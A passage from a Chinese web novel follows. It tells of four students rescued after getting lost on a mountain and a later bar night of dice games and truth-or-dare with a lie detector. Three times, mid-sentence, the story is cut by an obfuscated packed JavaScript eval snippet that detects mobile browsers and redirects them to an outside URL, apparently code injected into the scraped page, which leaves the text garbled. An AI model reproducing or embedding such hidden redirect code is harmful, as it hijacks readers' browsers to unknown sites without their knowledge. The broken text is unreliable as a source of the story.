费洛也加入呼唤的行列,“是救援人员吗?” 几束光打了过来,一阵嘈杂在远处响起。 半晌过后,他们终于听到了令人心情激动的回应。 “是!我们是救援队的!”一个响亮的声音传了过来,“待在那里不要动,我们这就过去!” “啊啊啊!!”温枣激动地叫了起来,一下子扑到何元楚身上,几乎要痛哭出声,“终于得救了,彻彻底底地得救了!” 庄森芽也松了一口气,看着那几束光亮离他们越来越近,一直悬着的心终于安安稳稳地落回了肚子里。 不用在野外露宿了,太好了。 能在夜晚的时候能回归到集体之中,这是一种多么令人安心的事情啊。 救援人员很快走了过来,一群穿着工装的可靠大叔们将四个大学生围在中间,关切地询问他们的状况,又带人往离开森林的路走。 这群救援人员十分专业,在来的路上留下了一连串明显的标识,顺着那些标识,他们顺利地离开了树林,回到了主路之上。 看到那亲切的人工石路,庄森芽鼻子一酸,委屈的情绪这才迟钝地涌上来。 迷失在荒无一人的野山之中,被黑暗中的未知吓得魂不守舍,又被那个神出鬼没的诺特斯劫持,这一路神经都紧绷着,直到现在才松懈下来。 她强忍住了情绪,周围还有这么多人,温枣都没哭,她可不想一个人丢人地掉眼泪。 可是当她侧过头去,却发现温枣早就已经不争气地哭得梨花带雨了。 连何元楚脸上都是一副动摇的神情,他难得摘掉眼镜,有些无助似的揉了揉眼睛。 而费洛则在另一边背对着他们,也偷偷抹了一把脸。 看着他们,庄森芽这才反应过来,原来大家的感觉都不好受。 这一次意外之行给所有人都留下了不那么好的回忆。 先前身处黑暗之中,他们互相加油打气,勉强还能坚持下来,但是当终于安全的时候,一直积压的情绪还是溃堤了。 庄森芽猛吸了一口气,感觉自己的眼眶有些湿润。 就在这时,一个急促的脚步声跑了过来。庄森芽回过头去,看到了一个熟悉的面孔。 不知为何,看到对方的一瞬间,眼眶里的眼泪终于是挂不住了,啪嗒啪嗒像两粒豆子一样砸了下去。 裴佑哲站在离她两个身位的地方,急促地呼吸着。 他的头发有些凌乱,衣领歪斜着,整个人看上去失去了惯常的冷静。 23. 坏掉的手机 从脚步声来听,他刚才是跑过来的,可是临近了,却变成了走路,在已经极其接近的时候,又堪堪站在了原地,与庄森芽无言地对视着。 现在的裴佑哲对庄森芽来说就像是一个靠山一样,他是队长、是学长,也是极为熟悉的人。于是乎,两滴眼泪落下去之后就再也停不住了,它们像是断线的珠子,违背主人的意愿疯狂地噼里啪啦往下砸。 看到她这副模样,裴佑哲缓缓走上前来,伸出双臂,沉默地抱住了她。 这个怀抱很紧,也很温暖,但是是颤抖的。 “我好怕……”裴佑哲的声音很低。 当下的庄森芽无法理解对方的话,要说害怕的话,她觉得自己才是更害怕的那一个。 抱紧了眼前的人,对方身上那令人安心的气味让她平静下来了一些。 周围似乎有很多熙熙攘攘的人,他们在不停地说着些什么,但她现在无暇去在乎那些。 一段时间后,情绪终于平复了下来,她松开裴佑哲,这才反应过来和对方相拥了多久,顿时觉得有些不好意思,往后退了两步,却被对方抓住了手腕。 庄森芽抬起头来,看到裴佑哲用一种她无法理解的眼神注视着她。 那眼神很复杂,里面写满了许多种情绪,在月光的照射之下,它们像是快要溢出来一样。 “我有想对你说的话。”裴佑哲的神情很认真。 庄森芽有些愣愣地注视着他,对方的目光十分专注,比以往每时都要专注,这让她久久无法移开视线,也回不过神来。 “我……” 裴佑哲刚要说什么,一个声音打断了他。 “森芽,这是你的手机吗?”温枣提着一个包裹着白色壳子的手机走了过来,她抽了抽鼻子,泪光还挂在睫毛上,但看样子心情已经平复了过来,“是救援人员在路上找到的。” 庄森芽接了过来,发现这的确是自己的手机,不过屏幕已经碎了,按开机键也没有反应,似乎是坏掉了,“是的,是我的。” 裴佑哲也盯着它,模样思忖片刻,抬起头来朝庄森芽问:“你的手机掉了?” “嗯,刚才在树林里……没拿住。”她隐瞒了一部分经历,因为不想被追问,她现在有些疲于解释。 裴佑哲垂下视线,睫毛遮住了眼中的些许光亮,“你看到我给你发的消息了吗?” “看到了,你说一定会找到我们。” “别的呢?” “别的……?”庄森芽有些困惑,“别的没仔细看,为了节省电量,就没怎么用手机。” “……”裴佑哲闭了一下眼睛,他的肩膀有些垮,在睁开眼的时候,刚才那种让他看起来有些无措的情绪已经消失了。他拿过庄森芽手中的手机,翻看了一通,“的确是坏掉了,我帮你找人修好吧。” “不用,我自己找人就行……” 裴佑哲依然坚持,“交给我的话,明天早上就能还给你。” 这么快?庄森芽心想。 她翻脸翻得比翻书还快,“那……好吧,谢谢你,佑哲。” 裴佑哲笑了一下,像是对她那句感激的回应。 那之后,一群人跟着救援人员一同下山。 他们来到了山下的集合点,入山口空无人影,白天来登山的学生们早就散去了。 听救援人员在路上说,原本他们定位到了四个迷路学生的信号方位,可树林内部的路线过于复杂,他们来回巡逻了几次都没有找到。 后来想让山底下的村民带路,但是村民不愿意协助救援,他们说,这座山上是住着山神的,迷路者是祭祀给山神的羔羊,不能救出来;还说,就算要把村子里的所有人抓进牢里,他们也不会派人协助。 没办法,救援人员又回到了深山,那时候夜已经深了,只能借着手电筒的光亮在信号消失的附近寻找几个学生的身影。 可找了几个小时也没有结果。 就在以为与四个同学彻底失联的时候,他们几人却突然出现在了救援人员的眼前。 “也就是说……”温枣的模样像是琢磨出来了什么,“如果我们不是从一开始停留的地方离开了的话,或许根本碰不上你们?” “有这个可能。”一个救援人员回答,“这山里似乎有什么秘密,村民们不愿告知。” “我们真的是被困在迷宫里了啊。”温枣有些难以置信地对她身边的何元楚说。 “迷宫?”救援人员疑惑。 “是山里突然冒出来的一个奇怪的人对我们说的。”温枣说,“他说那片树林是一个精心设计的迷宫,为的就是困住误入其中的人,还说每年都会有人在这座山上失踪。” “我们这两年似乎没收到过类似的报案……” “是吗?”温枣看起来并没有深究的意图,“那可能那个人是在吓唬我们吧。” 庄森芽听到了他们的谈话,不由在心里思考着。 诺特斯前不久出现的意图到底是什么? 她不觉得他是那种会突然大发慈悲、帮助他们脱离迷境的人,虽然从结果上来说,他的确是这么做的。 但从对方的角度来分析,这样的举动完全没有必要。思来想去,还是觉得这人肯定有什么不可告人的目的。 所以,他能从这次事件中得到什么……? “森芽。”费洛凑到了庄森芽的身边,低声在她耳旁问道,“那个男人的事,要报案吗?” 她知道对方指的是诺特斯,想了想,还是说道:“不……什么证据都没有,报案也无济于事吧。” 更重要的是,她知道报警也没用。 “在说什么?”裴佑哲的声音从另一边传来。他盯着费洛,表情看起来有些严肃,把庄森芽往自己身边拉了拉,让她远离那个黄头发的男人。 裴佑哲似乎还对费洛把他们几人引上野路的事情耿耿于怀,对待这个明显是朋友关系的人态度说不上多友善。 费洛咕哝了一声,没说出话来,求助似地看向庄森芽。 庄森芽明白他的意思,替他打掩护,“佑哲,走野路的决定是我们四个人一致同意的,狗哥好几次想回主路,我们都没同意,因为太想赢了嘛。” 庄森芽用温枣给费洛起的昵称称呼他,以显他们之间关系的亲近,寄希望于裴佑哲能看在这个份上不要再责怪费洛。 听到这句话,裴佑哲神情微动,但没说话。他低头从自己的衣服口袋里掏出了些什么,递给庄森芽。 “这是登山活动的参与奖。” 他手里是三枚小小的胸针,月牙形状,银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208436|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色,没有任何的标识,在月光之下泛着清冷的光,看上去像是钻石一样。 “好好看……”庄森芽拿走了其中一个,有些入迷地盯着它。 “这是给何元楚和温枣的。”裴佑哲把另外两个交给费洛。 “那我的呢……?”费洛不要命似的问。 裴佑哲皱起了眉。 金色的人型犬没再说话,灰溜溜地走了。 庄森芽把胸针别在自己的衣服上,小小的月牙像是会发光一样,十分地惹人喜爱。 “你们叫费洛‘狗哥’?” 费洛走后,裴佑哲的声音在身边响起。 “是呀,怎么了?”庄森芽问他。 裴佑哲沉吟一声,像是在回忆什么,“以前也有人管他叫狗哥,结果被他找人打进医院了。” “啊?”庄森芽惊讶,“那……那……” “看样子,你们几人的关系很不错。”裴佑哲没继续解释,只是别有深意地说了这么一句。 庄森芽盯着裴佑哲,看他表情时明时暗,一时不知道对方究竟在想些什么。 来到山脚下之后,他们和救援人员简单陈述了一下经过,留下了一些信息,然后那些大叔们就下班回家了。 剩下的学生们聚集在一起,商量着接下来的行程。 “大家都因为这件事受了不小的惊讶吧。”裴佑哲对众人说,“今晚好好休息,我会叫车送你们回酒店。” “那个,队长……”温枣有些犹豫地开口。 “怎么了?” “不是说今晚还有团建吗,可以喝酒玩骰子什么的?” 庄森芽有些讶异地看了温枣一眼,心里想着,好家伙,这小姑娘可恢复得真快,一眨眼的功夫就从阴霾里走出来,现在竟开始想着玩了。 “嗯,其他同学都还在酒吧活动,你现在也想去吗?” 温枣点点头,她鼻尖还有点红,但恐惧和害怕早就在她的眼神里消失得无影无踪了。 裴佑哲思虑片刻,很快给出方案,“那我们一起先回酒店,然后想去酒吧的再跟我一起走吧,那边的活动还没结束,我也有义务回去看看。” “好的,好的。”温枣的头点得像波浪鼓一样。 “还有谁要去酒吧吗?”裴佑哲问。 何元楚举手:“我去。” 费洛:“需要一点酒精给坏事翻篇,我也要去。” 几人的视线落在了庄森芽的身上,她迟疑了一下,而后说:“那我也……去。” 她其实没什么所谓,关键是现在手机不在身边,回酒店也画不了画,那还不如和大家待在一起。 裴佑哲二次询问:“你们确定不需要回酒店休息?” “不用!”温枣模样兴奋。 “晚饭还没吃,正好想吃点东西。”何元楚说。 庄森芽也加入赞成的行列,“就像狗哥刚才说的,我们可能的确需要一点酒精给今天翻篇。” 费洛听了连连点头。 裴佑哲妥协了,“好吧……既然都要去酒吧,那就不用回酒店折腾一趟了。” “好耶!”温枣激动起来,那模样看上去就好像已经喝高了。 达成一致之后,几人叫了两辆车,在星夜之下往景区的酒吧而去。 24. 就这个骰子好玩 他们抵达了一个建在商业街里的二层建筑,上下两层都是酒吧,装修是偏网红风的,有种夸张浮躁的韵味。 上茂哈里森的学生们几乎把这里包了场,走进去之后,几乎看不到其他游客的身影,全都是玩得兴高采烈的大学生。 迟到的四人找到了自己的桌子,天秤队一至五组的成员围坐在一个长条形的卡座里,正热火朝天地玩着什么游戏。 他们看到队长和三组成员姗姗来迟,都起哄说道:“迟到的要罚酒!” 话音刚落下,五杯还冒着气泡的酒就给他们准备好了。 几人在山间迷路的事情似乎没有传播开来,可能是为了防止散布恐慌,使新人对接下来几天的活动升起不必要的担忧。 其他学生并不知道三组成员这是刚从山里脱困,所以,非但没有安慰,反而胡闹起来。 “这次迟到是我的问题。”这时候,裴佑哲站出来说,“我替他们喝。” 他拿起第一杯,一饮而下,收获了一众欢呼声和叫好声。一杯又是一杯,转瞬之间,五杯酒都进了他的肚子里,他把空杯子亮给队员们看,示意他都喝完了,队员们这才放过迟到的人。 三组成员加入之后,人数多了起来,于是他们分成了两个大组,每组十一个人,坐在两个紧挨着的卡座里,队长和副队长各在一边带队。 新来的五人挤进了热闹的人群里,庄森芽坐在一个角上,她左边依次是温枣、何元楚和费洛,右手边是队长裴佑哲。 新来的五人加入了游戏,但还不知道游戏规则。于是乎,隔壁卡座的副队长巴木优临时过来,开始面无表情地给他们介绍起来。 他们在玩一种骰子游戏,所有人手里各拿到四个骰子,用杯子扣在桌面上摇晃,揭开之后只给自己看,并且记住那上面的数字。 然后按照顺时针的方向,每一个队员都要报出一个数量加数字,并且下一个人必须在数量或数字上加码。 比如第一个人猜总共有‘3个4’,那么下一个人可以说‘3个5’,也可以说‘6个3’,但不可以说‘2个4’。 数字一直累加,直到有人认为所有人手中的骰子加在一起,也达不到上一个人所说的数量时,他可以说“开”。 比如上一个人说有12个4,下一个人认为所有人骰子加一起也凑不够12个4,那第二个人就可以说“开”。那之后,所有人把手下的杯子敞开,看看所有骰子加在一起究竟能不能凑够12个4。其中数字1被算作灵活骰子,在计算时可以充当任意数字。 最终,如果凑够了的话,说“开”的人就输了,如果凑不够,就是他的上家输了。 规则很简单,是最基本的一种玩法。 庄森芽拿到了她的四个骰子,扣在杯子下面使劲摇晃。 游戏开始了。 顺序从上一轮输掉的男生开始,他给出了他的报数,“10个3!” “上来就这么大?”有人惊呼。 “这才哪到哪?10个4!”下家继续往上加码。 “11个4!” 这帮人根本没在怕的,因为参与者基数大,所以给出的数字比平时都要大很多。 总共十一个人,每个人手里有四个骰子,也就是说,1到6这六个数字,平均每个数字都能掷出来七到八个骰子。再加上灵活骰,数量直接翻倍,十五个左右都很正常。 “16个3!”数字已经来到了有些不可控制的范围。 下一个是费洛,他没有说“开”,而是思考了一下,继续往上加码,“20个4。” 他下家的何元楚诧异地盯着他,那眼神仿佛在问,你是认真的吗。 费洛笑而不语地盯着自己的同组成员,一副打算观察对方怎么办的狡黠模样。 何元楚低头看了一眼自己杯下的骰子,犹豫了一下,把手中的接力棒交给了下家的温枣,“20个5。” 数字还在往上累加,温枣一脸纠结,她盯着右手边的庄森芽,表情忐忑,“……20个6?” “噢噢!只能往上加数量了!”有人喊着。 二十个……这也太多了。庄森芽心想。 她要是再往上加的话,就只能说二十一个。自己手里四个骰子分别是二三四五,分布得很平均,几乎可以说完全没什么参考价值,不管选哪个数字好像都差不多。 那要说“开”吗?二十个只比平均数字多了五个,感觉赢的希望也不是很大…… 纠结了一通之后,庄森芽下定了决心,“21个5。” 她紧张地盯着下家的裴佑哲,想看看他是什么反应。 裴佑哲看了一眼自己的骰子,而后注视着庄森芽,那双微微眯起的眼睛像是想要把她看穿一般。 庄森芽吞了口口水,屏息凝神等待对方的抉择。 半晌后,他声音如棋子一般掷下,“开。” “开!!” 一时间,所有玩家都掀开了杯子。裴佑哲站起来清点着数字五的数量。 “三个,一个,四个,两个,两个……”他把所有人手里的骰子都数了一遍,而后得出了一个最终数字,“总共21个5。” “队长惜败!!”有队员大声宣布道。 “这不管开不开都是队长输啊,他要是再加码,下一个人肯定开他,也还是输。” “哈哈哈,队长好惨。” “喝酒或者真心话大冒险,队长,你选吧!” 裴佑哲微笑着,一副愿赌服输的模样,“我选罚酒。” 他给自己倒了杯酒,又是一饮而尽,好像这个惩罚环节对他来没什么难度、不痛不痒似的。 “惩罚太轻松了啊!”有人叫嚷着,这群学生在庄森芽几人到来之前就已经玩了很久,多多少少都喝了不少酒,此刻都在兴头上,“总是喝酒太没意思了,都没有人敢选真心话大冒险!” “是啊,是啊。”有人应和,“对于喜欢喝酒的人来说,这都不算惩罚。” 裴佑哲认真听取了大家的意见,提议说:“那下一轮开始,我们玩刺激一点,输的人既要喝酒,又要玩真心话大冒险。” “好!!”这个提议很快得到了赞同。 又是新的一轮,从裴佑哲开始。 摇骰子的声音此起彼伏,杯中的响动纷纷停下时,队长报出了数字和数量,“6个1。” “这么保险?” “6个2。”裴佑哲的下家说。 “你们怎么都这么保守?” “不想谋害后面几家呗。”有老手答疑解惑,“这是把战场往对面推呢。” “原来如此……” 报数转了一大圈之后,终于来到了高达‘15个3’的数字。 下一个报数的人是费洛,他又笑眯眯地盯着何元楚,怎么看他都在思考着如何算计自己的同僚。 费洛:“20个6。” “又加这么多,刺激!” “关键的时候到了!” 何元楚冷静地沉思着,他无所畏惧地看着费洛,推了一下自己的眼镜,“开。” “元楚你输定了我跟你说。”费洛嬉笑着,明明还没有揭开所有的杯子算骰子数量,他却已经信誓旦旦。 裴佑哲再次站起来清点数量,他数得很快,三四秒就给出了结果,“六只有十五个。” “啊??怎么可能?”费洛发出质疑的声音,他站起来,不太相信地自己又数了一遍,“还真是十五个……” 何元楚倒了一杯酒,推到费洛眼前,“请吧。” 费洛愤愤坐下来,对何元楚说:“你小子,高手啊。” 何元楚:“是你加数加得太离谱了。” “真心话大冒险,狗哥选一个吧!”温枣兴致勃勃。 “选一个!选一个!” “唉……”费洛叹息一声,把酒咕咚咕咚喝光了,“我选真心话。” 裴佑哲把一个小铁盒推上前来,里面装着一沓卡牌,卡牌上写着都是真心话的问题。他洗了洗牌,把牌展开,让它们背对着费洛,“自己选吧,规则是三个问题,全部都要诚实回答,如果被发现说谎的话,就必须接受大冒险。” 这时候,一个身影从旁边的卡座走了过来,那是副队长巴木优。她手里提着一个黑色的箱子,凑到他们的卡座前,问道:“你们在玩真心话?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208437|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是的,轮到这位帅哥了!”人群指着费洛。 巴木优的目光落在费洛浅黄色的头发上,她一笑,露出有些阴森的表情。 “干嘛突然笑起来,好渗人……”费洛抱住了自己。 巴木优把她手里的东西放在桌子上,那是一个精巧的仪器,看起来很复杂,“这是测谎仪,对着它说话它就能测试真假,如果说的是真话,会亮绿灯;如果是谎话,就会亮红灯。” “好东西,太有用了!” “副队长,还得是你!” 费洛诧异地盯着巴木优,“你从哪搞来的这种东西?” 巴木优:“是我认识的研究脑电波的那帮学生研究出来的成果,相关专业的老师也有参与制作。” 费洛狐疑:“你这东西,它准吗?” “准确率能够达到百分之九十。” 裴佑哲把题目卡推到了费洛的眼前,无情地说:“选吧。” 费洛看看测谎仪,又看看那些题目卡,小声嘀咕着,“我怎么感觉是在把我往坑里推……” 他从中抽出一张,掀开来给大家看,上面写着「自由题目」,意思就是让现场的人自由发问。 众人你看看我我看看你,这时候,一个看起来有点喝高的男生站起来,没和别人商量意见,就这么把自己想问的问题说了出来,“听说你是留级的,你为什么留级了啊?” 留级的原因无非就是那么几个,大家一般心知肚明,也不会问出来,因为原因普遍都不怎么光彩。 有人小声说:“要不还是换个问题吧。” 但也有人持反对意见,“真心话就是要说平时不想说的话。问题都问了,那就这个呗。” 费洛倒是看起来没有什么隐瞒的意思,他往卡座的沙发椅上一靠,悠悠然说道:“因为你们的学长我是个史无前例的学渣,名垂青史的那种。就算现在不认识我也没关系,等你们期末考试之前,肯定会有老师为了恐吓你们而给你们讲我的经典案例。” 他说完,人们咯咯笑了起来,气氛一点也没尴尬。本人都不觉得有什么,听者就更是这样了。 一个问题回答完了,费洛伸手去抽下一个问题卡,他举到自己眼前一看,眉毛扬了扬,然后把卡片翻过来让大家看上面的问题。 “‘谈过几次恋爱’……”有人把题目念了出来。 在一群人好奇的注视下,费洛举起一只手,捏了一个零出来。 “不会吧,没有?” “留级学神!你对着那个测谎仪说话。”有同学已经开始光明正大开始给他起外号了。 费洛清了清嗓子,冲着桌面上那个精密的仪器,“我没谈过恋爱。” 指示灯闪烁了片刻,绿灯亮了。 “真的假的,不可能啊?看着不像。” 的确看着不像,他人长得又瘦又高,一身时尚达人的装扮,走到哪都有人侧目,性格相处起来实际也不错,说没谈过恋爱谁都不信。 费洛侧过头来,对副队长巴木优说:“所以我就说,你这个仪器根本不靠谱。” 巴木优用大拇指指着费洛:“这家伙一看就没谈过恋爱,你们看不出来吗?” 所有人都盯着费洛,庄森芽也倾斜上身看着他,可无论怎么打量分析,都觉得费洛的追求者应该很多。 “看不出来。”众人异口同声地答。 “那现在你们知道了,他还是单身。”巴木优面无表情,声音也很平淡,“有合适的人记得推给他,救救母胎十九年的孩子。” “你还挺爱多管闲事的。”费洛呲她。他又掀开第三张问题卡,翻开在桌面上。 那上面写着:「你最想忘记的事情是什么。」 “我最想忘了自己是谁。”费洛没什么好气又很随意地说。测谎仪的绿灯亮了,他摆摆手,模样有些不耐烦,“三个问题我都回答完了,这样就算结束了吧?” 巴木优不依不饶,专挑人痛处,“最后一点方不方便展开说说?” 费洛双臂抱胸,“不可能,除非我再输,不过我是不可能再输的。好了好了,开下一局吧!” 摇骰子的声音又此起彼伏,下一轮较量开始了。 25. 都醉了 这一局不幸的落难者是温枣,她的上家何元楚报了17个6,温枣跃跃欲试地想喊“开”,何元楚劝她别喊,但是她不听何元楚的,执意要开。 杯子揭开了,裴佑哲逐一统计数量,结果数字‘六’总共有二十个。 “啊,输了!”虽然嘴上这么说,可温枣一点败者的模样都没有,她兴冲冲地自己给自己倒了酒,一口气喝光了,又兴奋地举起手来,“我选大冒险!” “好!!”有人起哄道,“这才像话!” 听着那些赞成的声音,温枣看上去兴致愈发高涨。 裴佑哲又拿出另外一个铁盒,里面放着的是大冒险相关的行动卡,他洗了牌,用背面朝着温枣,让她自己从中选一张。 “选哪个好呢……”温枣盯着那些看起来一模一样的牌背,陷入一时的纠结。 坐在温枣右手边的庄森芽给她提建议,“这个背面的花纹看起来挺稀疏的,说不定对应的行动会很轻松。” 她知道自己在胡言乱语,也觉得温枣能听出来她是在胡言乱语。 下一刻,对方相信了她的胡言乱语。 “那就这个了!”温枣抽出了那张牌背花纹不那么紧密的行动卡,把它翻过来,颇有气势地啪一下子甩在桌面上。 众人凑上去瞧,那上面的大冒险题目是:「去其他卡座发表征婚宣言。」 虽然听上去有点尴尬,但只是口头行动,不涉及到身体接触,其实要求不算很过分。 人们开始闹腾起来,催她去隔壁发表宣言。 一众热闹声中,没人注意到的地方,只有何元楚安心似的叹出了一口气。 “征婚宣言啊,我还没结过婚,没有这方面的经验……”温枣一只手挡在自己的嘴前,一本正经地说着些搞笑的话。她沉思了片刻,突然想到了什么,霎时眉飞色舞,“有了!” 她信誓旦旦地离开了卡座,卡座里十几个人都站了起来,跟在她的屁股后面,想要看看她究竟要怎么表演。 温枣来到了隔壁,十分有气势地往人家的桌前一站,模样无所畏惧,“各位好,我是来征婚的!” 这一下,被她到访的卡座也热闹了起来,同学们连连兴奋地拍手叫好。 “我叫温枣,今天十八岁,专业是新闻与传播学,喜欢看动漫,打游戏,玩Cosplay——” 她说到这里,底下有人戳了戳同伴的胳膊,“诶,跟你兴趣爱好一样!这还不去加个联系方式?” “我……我……”被怂恿的男生戴着一副圆框眼镜,头顶稀疏,似乎是因为体质的原因狂冒大汗,他笑起来,脸上的肉堆在一起,“我等一下就找她……” 温枣像一个舞台上的小明星一样,服装华丽可爱,语言俏皮,肢体语言十分丰富,一点也不怯场,“——学习成绩一般般,但态度绝对乐观,和我在一起就没有什么过不去的坎!我虽然人没什么特长,但是打游戏可以带你飞!” 她介绍完自己,还不忘给在座的各位比了个心。 这时候,卡座上那个一脸赘肉的男生已经站起来了,挤着旁边的同学要出来,往温枣的方向靠近,一副跃跃欲试的表情。 近处也有人凑上前来,向这粉头发甜心一般的女孩索要联系方式。 正当温枣热情地掏手机的时候,何元楚挤开人群走上前来,抓着她的手臂就把人拽走了,他还不忘回头跟卡座里的人解释,“不好意思,大冒险行为,不用当真!” “啊,元楚,元楚我的手机要掉了!”温枣捏着自己手机的一角,磕磕绊绊地被何元楚带到了原本的卡座上。 一群看热闹的人也跟着回来了,兴致勃勃地问温枣玩的是什么游戏,现在是什么段位,一群人聊得热火朝天。 何元楚坐在温枣旁边,模样有点闷闷不乐。 费洛看见了,给他倒了杯酒,往他前面一推。 何元楚默默接过了那杯酒,猛地往自己嘴里一灌,被辣得眉毛都蹙起来。 费洛拍了拍何元楚的肩,什么也没说,可他表情却有种‘好兄弟我懂你’的意思。 游戏很快又继续了。 学生们像是不知疲倦一样,一圈接一圈,一轮接一轮,每个人都没有幸免。 到最后,玩得好的几乎都输过三四次以上,至于玩得不好的输过多少次,两只手已经数不过来了。 而庄森芽就属于玩得不好的那一类,她觉得自己可能已经输过二十多次了,因为面前的酒瓶已经空了四五个——如果不是她因醉酒而眼花了的话。 但其实她没有喝那么多瓶,有几次输掉的时候,轮到她喝酒,右手边的裴佑哲会伸过手来,默默挡住杯口,在所有人都没有注意的情况下,把她的酒杯提过来,将原属于另一个人的那杯一饮而尽。 整个过程,他不会说一句话,就仿佛这是一件稀疏平常的事情。 当下,庄森芽转动自己晕乎乎的脑袋,往自己的右手边看去—— 裴佑哲靠在沙发上,一只手摇晃着扣住四枚骰子的杯子,他动作有些迟缓,眼神里也含着些许迷离,酒精似乎也给他带来了不小的影响。 庄森芽又看了一圈卡座里的同学,有人晕乎乎的,有人兴奋得找不着北,大家多多少少都喝醉了。 她想翻出手机,看一眼时间,但往口袋里摸过去的收掏了一空。 紧接着想起来,手机还在裴佑哲那里,于是转身想管他索要手机。 然而,动作幅度大了些,刚才不晃还好,这一晃,她脑袋里顿时搅得像浆糊一样。 短暂的断片过后,她发现自己倒在裴佑哲的怀里,一只手伸进了他的外套,另一只手掐着对方的腰,就好像要非礼他一般。 裴佑哲垂下眼睛,视线落在庄森芽的脸上,他缓缓抬起自己的手,下一刻,却又像是不知道该放在哪里一样,又垂落在了身体的两侧。 “唔,不好意思……”庄森芽捂着自己的头,从对方的身上爬了起来,觉得自己有点失态,这个游戏是不能再玩下去了。坐直了之后,她向裴佑哲开口索要着,“佑哲,我的手机……” “怎么了?”裴佑哲音色听起来很柔和,又夹杂着些沙哑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208438|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想看一眼时间……” “你的手机坏了。” “呃……?”她短暂的回忆了一下,想起来好像确实有这么回事,“……那你能告诉我,现在几点了吗?” 裴佑哲看了一眼自己手腕上的手表,“凌晨两点。” “我该回去了……” “森芽,森芽,到你了。”温枣的声音在她左手边响起来。 庄森芽努力聚焦注意力,这才反应过来对方是什么意思。 温枣的脸红扑扑的,看上去有点酒精过敏,可她眼睛依然神采奕奕,咬字也很清晰,“我刚才报了30个3,你要加码吗,还是要‘开’我?” 三十个……?庄森芽在脑海里迟钝地思考着这个数字所代表的量级。 三十个是什么概念……之前一般是几个叫停来着,话说回来,他们手里总共有多少骰子?有几个人在玩游戏来着? 她脑海里冒出一个又一个问题,可是混沌的思绪一个答案都没有给出来。 “我……加码。”她浑浑噩噩地说。 “多少?”温枣问她。 “40个3。” 三十后面是四十,十进制,嗯,这很合理。 也不管这个数字是不是过于离谱,她心里现在想的是:玩完这一局就撤,回酒店去睡大觉。 “开!开!”人们起哄着。 回合来到了裴佑哲,他目不转睛地盯着庄森芽,在头顶彩灯的照射下,眼底似有隐晦的波光在晃动。 “……50个3。”他还在继续往上加码。 “啊??”有人发出疑惑的怪叫。 “队长喝醉了!” “快占他便宜!他到现在总共才输了四次!” “开!”下家毫不犹豫地喊。 所有人噼里啪啦掀开了杯子,亮出那下面的骰子来。 根本不用数,玩游戏的有十一个人,手里总共才四十四枚骰子,加起来怎么也到不了五十个。 “队长,你选真心话还是大冒险?”人群里有人问他。 裴佑哲不慌不忙地给自己倒了杯酒,手很稳,一点也看不出来是醉了,“真心话。” “副队长,副队长!求仪器,队长选真心话了!!” 巴木优听到这边的骚乱,拎着那台精密的测谎仪又转移了卡座,副队长脸上一点红晕都没有,看起来滴酒未沾,清醒得仿佛是酒吧打工的服务员。 “轮了多少圈了,好不容易队长才输一次,好好想想问题啊!”有人说道。 队员们激烈地议论起来,临时决定不用抽问题卡的形式,而是选三个大家都很感兴趣的问题。 裴佑哲没有提出异议,任这些新生怎么开心怎么来。 人们很快想到了第一个问题,很俗套,但所有人都感兴趣。 “队长,你喜欢的人是谁?” 所有目光聚焦在裴佑哲在身上,他单手搓着桌面上的一颗骰子,把它像陀螺一样在桌子上转,“没有喜欢的人。” 下一刻,巴木优手中的仪器亮起了红灯。 26. 真心话与吻 “队长,你说谎!!” “怎么可能没有喜欢的人,队长你身边美女那么多,肯定是不想告诉我们!” 裴佑哲笑着摇了摇头,不置可否。 同学们似乎认定了队长在说谎,紧接着抛出了第二个相关问题,“那队长,你喜欢的人是不是在学生会的文艺部?” 这个问题一出,所有人都发出豁然开朗的声音,似乎都听出了话中的意有所指。 话里提到的那个人就在隔壁的卡座坐着,一队的石玥诗,留级一年的学姐,今年加入了学生会的文艺部,入会就成为了副部长,和学生会主席的关系似乎很复杂,所有人都默认他们两人之间有点什么。 “文艺部啊……”裴佑哲念叨着,“嗯,的确是在文艺部。” 大家兴奋地叫起来,像是吃到了第一手的新瓜。可是紧接着,巴木优手里的测谎仪却亮起了红灯。 学生们傻眼了,看着那闪烁的亮灯,模样都有些不敢置信。 “啊?怎么是红灯亮了?” “队长又说谎了?” “不可能吧!副队长,是不是仪器坏了呀。” 巴木优一脸淡定,“坏倒是不会坏,但就像我刚才说的,测谎仪的准确率只有百分之九十。” “那应该刚好是那百分之十吧,毕竟怎么想队长喜欢的人都是——” “嘘!”有眼力价的学生拦住了口无遮拦的那一个,小声说道,“他们还没官宣呢。” 有人紧接着提出了第三个问题,“那换一种问法,队长,你喜欢的人就在隔壁卡座,对吧?” 